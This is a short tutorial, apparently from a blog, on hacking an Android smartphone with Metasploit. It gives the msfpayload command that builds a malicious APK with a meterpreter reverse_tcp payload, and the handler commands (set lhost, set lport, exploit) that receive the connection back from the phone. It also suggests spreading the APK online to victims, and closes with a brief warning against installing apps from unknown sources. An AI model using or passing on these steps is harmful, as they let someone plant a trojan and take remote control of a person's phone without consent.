Mobile Hacking using Metasploit

Mobile Hacking using Metasploit

Here is some initial information for this tutorial:

Attacker IP address: 192.168.8.94

Attacker port to receive connection: 443

Requirements:

1. Metasploit framework (we use Kali Linux 1.0.6 in this tutorial)

2. Android smartphone (we use HTC One android 4.4 KitKat)

Step by Step Hacking Android Smartphone Tutorial 

using Metasploit:

1. Open terminal (CTRL + ALT + T) view tutorial how to create linux keyboard shortcut.

2. We will utilize Metasploit payload framework to create exploit for this tutorial.

msfpayload android/meterpreter/reverse_tcp

LHOST=<attacker_ip_address>

LPORT=<port_to_receive_connection>

As described above that attacker IP address is 192.168.8.94, below is our screenshot when executed the


command

3. Because our payload is reverse_tcp where attacker expect the victim to connect back to attacker

machine, attacker needs to set up the handler to handle incoming connections to the port already specified

above. Type msfconsole to go to Metasploit console.

Info:

use exploit/multi/handler –> we will use Metasploit handler

set payload android/meterpreter/reverse_tcp –> make sure the payload is

the same with step 2

4. The next step we need to configure the switch for the Metasploit payload we already specified in step 3.

Info:

set lhost 192.168.8.94 –> attacker IP address

set lport 443 –> port to listen the reverse connection

exploit –> start to listen incoming connection

5. Attacker already have the APK's file and now he will start distribute it (I don't need to describe how to

distribute this file, internet is the good place for distribution ).

6. Short stories the victim (me myself) download the malicious APK's file and install it. After victim open

the application, attacker Metasploit console get something like this:

7. It's mean that attacker already inside the victim android smartphone and he can do everything with

victim phone.

Metasploit above:

Conclusion:

1. Don't install APK's from the unknown source.

2. If you really want to install APK's from unknown source, make sure you can view, read and examine the


source code. The picture below is the source code of our malicious APK's in this tutorial.
